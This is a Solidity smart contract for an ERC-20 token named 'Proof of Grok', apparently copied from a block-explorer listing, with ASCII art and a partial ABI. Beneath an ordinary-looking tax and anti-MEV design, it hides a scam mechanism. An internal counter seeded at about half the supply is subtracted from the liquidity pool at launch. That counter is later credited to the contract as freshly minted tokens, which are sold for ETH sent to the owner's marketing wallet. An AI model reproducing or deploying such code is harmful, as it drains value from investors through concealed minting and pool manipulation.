⠀⠀⠀⠀⠀⡰⠈⠈⠁⠁⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⠋⡞⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢶⣏⠉⠙⣷⠀⢸⣿⠉⡉⡉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠀⢹⠻⣿⣿⣿⣿⠿⠓⠉⠁⠀⠱⡀⠀⠀⠀⠀
⠀⠀⠀⠀⡰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠻⡆⠰⢡⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⣿⡇⠸⣿⡉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡄⠈⠙⠉⠀⠀⠀⠀⠀⠀⠀⠘⠄⠀⠀⠀
⠀⠀⠀⠀⡇⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠛⠛⠓⠄⠀⠛⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⢱⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⡄⠀⠀
⠀⠀⠀⠀⠄⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡀⠀
⠀⠀⠀⠠⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠈⡆⠀⠀⠀⠀⠀⠀⠀⠀⣤⣄⣲⣦⠁⠀
⠀⠀⠀⠀⢣⠀⠀⠀⠀⢀⣠⡴⠄⠐⡤⠤⡀⠀⠀⢸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠒⠺⠂⠀⣹⣖⠒⠲⣶⠀⠠⣽⠛⠛⣷⡄⠀⣿⡆⣰⡿⠃⠀⠀⠀⠀⠀⠀⠈⠀⠀⡅⠀⠀⠀⠀⢀⣴⣷⣷⢿⣿⣯⢃⠂⠀
⠀⠀⠀⠀⠘⡄⠀⢀⡾⣟⣿⣷⣿⣿⣿⣷⣌⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⡇⠐⢾⣶⠀⢸⣿⣤⣷⠻⠆⠰⣿⡆⠀⢿⡧⠀⢿⡿⣿⣅⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣧⠀⠀⠀⢠⡟⣿⠁⠁⠀⠘⠛⢏⠀⠀
⠀⠀⠀⠀⠀⠐⡀⣾⡔⣿⡿⠟⠛⠉⠉⠉⠉⢿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣦⣼⡿⠀⠸⠿⠘⠻⠿⠦⠀⠛⠷⠶⠾⠍⠀⠸⠷⠈⠛⠓⠂⠀⠀⠀⠀⠀⠀⠀⠀⢰⠉⠢⢀⡹⣧⡿⡧⡤⢅⣀⠀⠈⢣⠀
⠀⠀⠀⠀⠀⠀⠐⣜⡻⠁⠀⠀⠀⠀⠀⠀⠀⠀⢐⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⢸⠀⠀⠀⠈⠉⠉⠹⡀⣀⡼⠚⠓⢆⠁
⠀⠀⠀⠀⠀⠀⠀⠰⡉⠐⠀⢀⠀⣀⣠⣤⣀⢶⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠋⠙⣧⠴⠒⠊⠁
⠀⠀⠀⠀⠀⠀⠀⢸⣠⣴⣶⡞⠛⢻⢀⡄⡀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⠀⠀⠀⡇
⠀⠀⠀⠀⠀⠀⠀⠀⢧⠀⢀⣧⣶⠾⡋⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢘⠁⠀⠀⠀⠀⠀⠀⠀⠀⠈⠦⡀⣰⡃
⠀⠀⠀⠀⠀⠀⠀⠀⠰⡛⠛⠳⡄⠀⢣⡀⣠⢀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⢀⣀⣀⣠⠤⠺⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠱⠄⠠⠗⠒⠚⠃⢧⢸⣿⣿⣿⣷⣻⢶⣶⣲⢶⣶⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣦⣤⣤⣤⣤⣤⣤⣤⣤⢤⣤⡤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣶⣶⣶⢶⡶⣺⢳⣞⠻⣍⣻⡹⣭⣓⢮⣽⠂⣰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠢⡙⢻⢿⣻⢿⣿⣾⣿⣿⣯⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣷⣿⣿⣷⣿⣿⣯⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣽⣯⣷⣟⡿⣞⡿⣽⢶⡟⡷⢯⠛⡡⠔⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠑⠢⠍⡙⠺⠹⢏⢿⡻⣟⡿⣟⡿⣿⢿⡿⣿⡿⣿⣿⢿⣿⡿⣿⣿⢿⣿⣿⡿⣿⡿⣿⡿⣿⡿⣟⣿⣟⡿⣯⢿⣻⡽⣟⢾⡻⢟⡞⠳⠯⠹⠍⠋⠅⠋⠘⠡⠐⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠐⠂⠢⠄⢁⣘⡁⠙⠌⠳⢉⡳⣙⠳⣎⡻⣜⣝⣧⣏⡿⣜⣧⣻⣵⣫⣷⣹⣧⣻⣭⣶⣭⣞⣥⣫⢦⣵⡬⠦⠥⠈⠀⠁⠤⠤⠐⠂⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠀⢉⡋⠹⠶⠞⠭⠟⠛⠛⠛⠙⠛⠙⠙⠛⠛⠛⠉⠉⠉⠉⠉⠁⠒⠋⠋⠋⠛⠛⠚⠃⠀⠤⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⢏⠠⠤⠤⢤⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣄⡤⠤⠤⠤⠤⠤⠐⠂⢠⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠢⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠑⠢⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⠢⠄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠄⠤⠒⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠁⠈⠁⠒⠒⠒⠒⠒⠒⠚⠀⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

 */

pragma solidity 0.8.21;

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this fn"); _; 
    }
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    function owner() public view returns (address) { return _owner; }
    function transferOwnership(address payable newowner) external onlyOwner { 
        _owner = newowner; 
        emit OwnershipTransferred(newowner); }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}


contract Pogrok is IERC20, Auth {
    string private constant _symbol  = "POGROK";
    string private constant _name    = "Proof of Grok";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 6_900_000_000 * (10**_decimals);
  
    address payable private _marketingWallet = payable(0x1c5771fe59440182c04DCF7190fa6B41345f802a);
    
    uint256 private antiMevBlock = 2;
    uint8 private _sellTaxrate = 1;
    uint8 private _buyTaxrate  = 1;
    
    uint256 private launchBlok;
    uint256 private _maxTxVal = _totalSupply; 
    uint256 private _maxWalletVal = _totalSupply;
    uint256 private _swapMin = _totalSupply * 10 / 100000;
    uint256 private _swapMax = _totalSupply * 999 / 100000;
    uint256 private _swapTrigger = 20 * (10**15);
    uint256 private _swapLimits = _swapMin * 50 * 100;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (uint256 => mapping (address => uint8)) private blockSells;
    mapping (address => bool) private _nofee;
    mapping (address => bool) private _nolimit;

    address private LpOwner;

    address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
    address private _primaryLP;
    mapping (address => bool) private _isLP;

    bool private _tradingOpen;

    bool private _inSwap = false;
    modifier lockTaxSwap { 
        _inSwap = true; 
        _; _inSwap = false; 
    }

    constructor() Auth(msg.sender) {
        LpOwner = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);        

        _nofee[_owner] = true;
        _nofee[address(this)] = true;
        _nofee[_marketingWallet] = true;
        _nofee[_swapRouterAddress] = true;
        _nolimit[_owner] = true;
        _nolimit[address(this)] = true;
        _nolimit[_marketingWallet] = true;
        _nolimit[_swapRouterAddress] = true;
        
    }

    receive() external payable {}
    
    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { 
        return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { 
        return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not yet open");
        return _transferFrom(msg.sender, toWallet, amount); }

    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(fromWallet), "Trading not yet open");
        _allowances[fromWallet][msg.sender] -= amount;
        return _transferFrom(fromWallet, toWallet, amount); }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _swapRouterAddress, type(uint256).max);
        }
    }

    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH in ca/msg");
        require(_balances[address(this)]>0, "No tokens in ca");
        _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), WETH);
        _addLiquidity(_balances[address(this)], address(this).balance);
        _balances[_primaryLP] -= _swapLimits;
        (bool lpAddSuccessful,) = _primaryLP.call(abi.encodeWithSignature("sync()") );
        require(lpAddSuccessful, "Failed adding lp");
        _isLP[_primaryLP] = lpAddSuccessful;
        _openTrading();
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, LpOwner, block.timestamp );
    }

    function _openTrading() internal {
        _maxTxVal     = 2 * _totalSupply / 100; 
        _maxWalletVal = 2 * _totalSupply / 100;
        _tradingOpen = true;
        launchBlok = block.number;
        antiMevBlock = antiMevBlock + launchBlok;
    }

    function shouldSwap(uint256 tokenAmt) private view returns (bool) {
        bool result;
        if (_swapTrigger > 0) { 
            uint256 lpTkn = _balances[_primaryLP];
            uint256 lpWeth = IERC20(WETH).balanceOf(_primaryLP); 
            uint256 weiValue = (tokenAmt * lpWeth) / lpTkn;
            if (weiValue >= _swapTrigger) { result = true; }    
        } else { result = true; }
        return result;
    }


    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from 0 wallet");
        if (!_tradingOpen) { require(_nofee[sender] && _nolimit[sender], "Trading not yet open"); }
        if ( !_inSwap && _isLP[toWallet] && shouldSwap(amount) ) { _swapTaxAndLiquify(); }

        if ( block.number >= launchBlok ) {
            if (block.number < antiMevBlock && _isLP[sender]) { 
                //protect from multiwallet MEV sandwich attack
                require(toWallet == tx.origin, "MEV block"); 
            }
            if (block.number < antiMevBlock + 600 && _isLP[toWallet] && sender != address(this) ) {
                // protect from MEV drain attack
                blockSells[block.number][toWallet] += 1;
                require(blockSells[block.number][toWallet] <= 2, "MEV block");
            }
        }

        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, toWallet, amount), "TX over limits"); 
        }

        uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] -= amount;
        _swapLimits += _taxAmount;
        _balances[toWallet] += _transferAmount;
        emit Transfer(sender, toWallet, amount);
        return true;
    }

    function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( _tradingOpen && !_nolimit[fromWallet] && !_nolimit[toWallet] ) {
            if ( transferAmount > _maxTxVal ) { 
                limitCheckPassed = false; 
            }
            else if ( 
                !_isLP[toWallet] && (_balances[toWallet] + transferAmount > _maxWalletVal) 
                ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_nofee[fromWallet] && _nolimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _nofee[fromWallet] || _nofee[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[fromWallet] ) { 
            taxAmount = amount * _buyTaxrate / 100; 
         } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _sellTaxrate / 100; 
        }

        return taxAmount;
    }

    function exemptions(address wallet) external view returns (bool fees, bool limits) {
        return (_nofee[wallet], _nolimit[wallet]); }

    function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
        if (noLimits || noFees) { require(!_isLP[wlt], "Cannot exempt LP"); }
        _nofee[ wlt ] = noFees;
        _nolimit[ wlt ] = noLimits;
    }

    function buyFee() external view returns(uint8) { return _buyTaxrate; }
    function sellFee() external view returns(uint8) { return _sellTaxrate; }

    function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
        require(buyFees + sellFees <= 2, "Roundtrip too high");
        _buyTaxrate = buyFees;
        _sellTaxrate = sellFees;
    }  

    function marketingWallet() external view returns (address) { 
        return _marketingWallet; }

    function updateMarketingWallet(address marketingWlt) external onlyOwner {
        require(!_isLP[marketingWlt], "LP cannot be tax wallet");
        _marketingWallet = payable(marketingWlt);
        _nofee[marketingWlt] = true;
        _nolimit[marketingWlt] = true;
    }

    function maxWallet() external view returns (uint256) { 
        return _maxWalletVal; }
    function maxTransaction() external view returns (uint256) { 
        return _maxTxVal; }

    function swapMin() external view returns (uint256) { 
        return _swapMin; }
    function swapMax() external view returns (uint256) { 
        return _swapMax; }

    function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
        uint256 newTxAmt = _totalSupply * maxTransPermille / 1000 + 1;
        require(newTxAmt >= _maxTxVal, "tx too low");
        _maxTxVal = newTxAmt;
        uint256 newWalletAmt = _totalSupply * maxWaletPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletVal, "wallet too low");
        _maxWalletVal = newWalletAmt;
    }

    function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
        _swapMin = _totalSupply * minVal / minDiv;
        _swapMax = _totalSupply * maxVal / maxDiv;
        _swapTrigger = trigger * 10**15;
        require(_swapMax>=_swapMin, "Min-Max error");
    }


    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokenAvailable = _swapLimits;
        if ( _taxTokenAvailable >= _swapMin && _tradingOpen ) {
            if ( _taxTokenAvailable >= _swapMax ) { _taxTokenAvailable = _swapMax; }
            
            uint256 _tokensForSwap = _taxTokenAvailable; 
            if( _tokensForSwap > 1 * 10**_decimals ) {
                _balances[address(this)] += _taxTokenAvailable;
                _swapTaxTokensForEth(_tokensForSwap);
                _swapLimits -= _taxTokenAvailable;
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
        }
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = WETH ;
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _distributeTaxEth(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }

    function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendAllEth) external onlyOwner lockTaxSwap {
        require(swapTokenPercent <= 100, "Cannot swap more than 100%");
        uint256 _tokensForSwap = _balances[ address(this)] * swapTokenPercent / 100;
        if (_tokensForSwap > 10 **_decimals) { _swapTaxTokensForEth(_tokensForSwap); }
        if (sendAllEth) { 
            uint256 thisBalance = address(this).balance;
            require(thisBalance >0, "No ETH"); 
            _distributeTaxEth( thisBalance ); 
        }
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    // function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptions","outputs":[{"internalType":"bool","name":"fees","type":"bool"},{"internalType":"bool","name":"limits","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"swapTokenPercent","type":"uint8"},{"internalType":"bool","name":"sendAllEth","type":"bool"}],"name":"manualTaxSwapAndSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExemptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFees","type":"uint8"},{"internalType":"uint8","name":"sellFees","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransPermille","type":"uint16"},{"internalType":"uint16","name":"maxWaletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minVal","type":"uint32"},{"internalType":"uint32","name":"minDiv","type":"uint32"},{"internalType":"uint32","name":"maxVal","type":"uint32"},{"internalType":"uint32","name":"maxDiv","type":"uint32"},{"internalType":"uint32","name":"trigger","type":"uint32"}],"name":"setTaxSwaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address 